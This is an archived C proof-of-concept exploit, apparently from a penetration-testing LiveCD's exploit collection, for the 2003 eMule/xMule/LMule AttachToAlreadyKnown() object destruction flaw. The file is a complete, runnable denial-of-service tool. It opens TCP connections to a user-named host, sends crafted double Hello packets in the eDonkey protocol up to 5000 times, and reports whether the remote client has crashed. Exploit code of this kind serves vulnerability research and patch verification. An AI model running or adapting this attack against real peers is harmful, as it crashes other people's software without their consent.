home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / emule / atakemul.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  252 lines

  1. /*
  2.  * eMule/xMule/LMule AttachToAlreadyKnown() Object Destruction Vulnerability
  3.  * (SecurityFocus BID 8444)
  4.  * proof of concept code
  5.  * version 1.2 (Sep 01 2003)
  6.  *
  7.  * by RΘmi Denis-Courmont <exploit@simutrans.fr.st>
  8.  *   http://www.simphalempin.com/dev/
  9.  *
  10.  * This vulnerability was found by:
  11.  *   Stefan Esser <s.esser@e-matters.de>
  12.  * whose original advisory may be fetched from:
  13.  *   http://security.e-matters.de/advisories/022003.html
  14.  *
  15.  * Vulnerable:
  16.  *  - eMule v0.29b/0.29c -> client crashes after **A LOT** of DoS attempts
  17.  *  - eMule v0.29a -> client crashes after a few DoS attempts
  18.  *  - xMule stable v1.4.2 -> client crashes immediately
  19.  *  - xMule unstable v1.5.6a -> client crashes immediately
  20.  *  - Lmule v1.3.1 -> ??? (NOT tested)
  21.  *
  22.  * Not vulnerable:
  23.  *  - xMule stable v1.4.3 and v1.6.0,
  24.  *  - eMule v0.30a.
  25.  */
  26.  
  27.  
  28. /*****************************************************************************
  29.  * Copyright (C) 2003  RΘmi Denis-Courmont.  All rights reserved.            *
  30.  *                                                                           *
  31.  * Redistribution and use in source and binary forms, with or without        *
  32.  * modification, are permitted provided that the following conditions        *
  33.  * are met:                                                                  *
  34.  * 1. Redistributions of source code must retain the above copyright         *
  35.  *    notice, this list of conditions and the following disclaimer.          *
  36.  * 2. Redistributions in binary form must reproduce the above copyright      *
  37.  *    notice, this list of conditions and the following disclaimer in the    *
  38.  *    documentation and/or other materials provided with the distribution.   *
  39.  *                                                                           *
  40.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      *
  41.  * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
  42.  * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   *
  43.  * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          *
  44.  * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  *
  45.  * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
  46.  * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     *
  47.  * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       *
  48.  * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  *
  49.  * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         *
  50.  *****************************************************************************/
  51.  
  52. #include <stdio.h>
  53. #include <stdint.h>
  54. #include <sys/types.h>
  55. #include <sys/socket.h>
  56. #include <unistd.h>
  57. #include <netdb.h>
  58.  
  59. #define USER_HASH    "AToAK__DoS__vuln" /* 16 bytes */
  60. #define MAXTRIES    5000
  61.  
  62. int gai_errno = 0;
  63.  
  64. void
  65. gai_perror (const char *str)
  66. {
  67.     if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
  68.         perror (str);
  69.     else
  70.         fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
  71. }
  72.  
  73.  
  74. int
  75. socket_connect (const char *hostname, const char *servname)
  76. {
  77.     struct addrinfo hints, *res;
  78.  
  79.     hints.ai_family = PF_INET;
  80.     hints.ai_socktype = SOCK_STREAM;
  81.     hints.ai_protocol = 0;
  82.     hints.ai_flags = 0;
  83.  
  84.     if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
  85.     {
  86.         struct addrinfo *ptr;
  87.  
  88.         for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
  89.         {
  90.             int sock;
  91.  
  92.             sock = socket (ptr->ai_family, ptr->ai_socktype,
  93.                     ptr->ai_protocol);
  94.             if (sock != -1)
  95.             {
  96.                 const int val = 1;
  97.  
  98.                 setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
  99.                         &val, sizeof (val));
  100.                 if (connect (sock, ptr->ai_addr,
  101.                         ptr->ai_addrlen))
  102.                     close (sock);
  103.                 else
  104.                 {
  105.                     /* success! */
  106.                     freeaddrinfo (res);
  107.                     return sock;
  108.                 }
  109.             }
  110.         }
  111.         freeaddrinfo (res);
  112.     }
  113.     return -1;
  114. }
  115.  
  116.  
  117. int
  118. send_2hello (int fd/*, const void *userhash, size_t hlen*/)
  119. {
  120.     /*
  121.      * Note that eDonkey is an Intel-centric protocol that sends/receives
  122.      * everything in counter-network-byte order (ie. low order first).
  123.      */
  124.     uint8_t buf[] =
  125.         /* FIRST Hello request */
  126.         "\xE3" // protocol
  127.         "\x22\x00\x00\x00" // packet size
  128.         "\x01" // command (Hello)
  129.         "\x10" // user hash size
  130.         USER_HASH // user hash
  131.         "\x01\x00\x00\xff" // user ID = our IP
  132.         "\x36\x12" // port on which to connect to us
  133.         "\x00\x00\x00\x00" // tag count (MUST be <= 7)
  134.         /* no tag for now */
  135.         "\x00\x00\x00\x00" // server IP (0 = none)
  136.         "\x00\x00" // server port (0 = none, usually 0x1235)
  137.  
  138.         /* SECOND Hello request */
  139.         "\xE3" // protocol
  140.         "\x22\x00\x00\x00" // packet size
  141.         "\x01" // command (Hello)
  142.         "\x10" // user hash size
  143.         USER_HASH // user hash
  144.         "\x01\x00\x00\xff" // user ID = our IP
  145.         "\x36\x12" // port on which to connect to us
  146.         "\x00\x00\x00\x00" // tag count (MUST be <= 7)
  147.         /* no tag for now */
  148.         "\x00\x00\x00\x00" // server IP (0 = none)
  149.         "\x00\x00" // server port (0 = none, usually 0x1235)
  150.         ;
  151.     /*
  152.      * We should put our real IP, randomize our user hash and add some tag
  153.      * like real P2P clients here
  154.      */
  155.     return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
  156. }
  157.  
  158.  
  159. int
  160. recv_hello (int fd)
  161. {
  162.     unsigned char buf[256];
  163.     uint8_t proto, cmd;
  164.     uint32_t plen;
  165.  
  166.     return
  167.     (recv (fd, &proto, sizeof (proto), MSG_WAITALL) != sizeof (proto))
  168.      || (proto != 0xE3)
  169.      || (recv (fd, &plen, sizeof (plen), MSG_WAITALL) != sizeof (plen))
  170.      || (plen < 33) || (--plen > sizeof (buf))
  171.      || (recv (fd, &cmd, sizeof (cmd), MSG_WAITALL) != sizeof (cmd))
  172.      || (cmd != 0x4C);
  173. }
  174.  
  175.  
  176. static int
  177. usage (const char *path)
  178. {
  179.     printf (
  180. "Syntax: %s <hostname|IP> [port]\n"
  181. "        Attempt to crash eMule/xMule/LMule client <hostname|IP>\n"
  182. "        ([port] is 4662 by default) through the\n"
  183. "        \"AttachToAlreadyKnown Object Destruction vulnerability\"\n"
  184. "        found by Stefan Esser <s.esser (at) e-matters (dot) de>.\n", path);
  185.     return 2;
  186. }
  187.  
  188.  
  189. int
  190. main (int argc, char *argv[])
  191. {
  192.     puts ("eMule/xMule/LMule AttachToAlreadyKnown() "
  193.             "Object Destruction vulnerability\n"
  194.         "proof of concept code\n"
  195.         "Copyright (C) 2003 RΘmi Denis-Courmont "
  196.             "<exploit@simutrans.fr.st>\n");
  197.     if (argc < 2)
  198.         return usage (argv[0]);
  199.     else
  200.     {
  201.         int fd, count = 0;
  202.         const char *host, *port;
  203.  
  204.         host = argv[1];
  205.         port = (argc < 3) ? "4662" : argv[2];
  206.         printf ("Connecting to [%s]:%s ...\n", host, port);
  207.         while (++count && ((fd = socket_connect (host, port)) != -1))
  208.         {
  209.             printf ("Sending double-Hello packet (%d)...\n",
  210.                     count);
  211.             if (send_2hello (fd))
  212.             {
  213.                 perror ("Error");
  214.                 count = -1;
  215.             }
  216.  
  217.             puts ("Checking reply ...");
  218.             if (recv_hello (fd))
  219.             {
  220.                 fprintf (stderr, "%s: malformed reply\n",
  221.                         host);
  222.                 count = -1;
  223.             }
  224.             else if (recv_hello (fd))
  225.                 printf ("%s might be vulnerable.\n", host);
  226.             else
  227.             {
  228.                 printf ("%s is not vulnerable.\n", host);
  229.                 count = -1;
  230.             }
  231.             close (fd);
  232.  
  233.             if (count >= MAXTRIES)
  234.             {
  235.                 printf ("%s is still alive after %d deadly "
  236.                     "packets. Probably not vulnerable.\n",
  237.                     host, count);
  238.                 return 0;
  239.             }
  240.         }
  241.  
  242.         gai_perror (host);
  243.         if (count)
  244.         {
  245.             puts ("Remote host seems to have crashed!");
  246.             return 0;
  247.         }
  248.     }
  249.  
  250.     return 1;
  251. }
  252.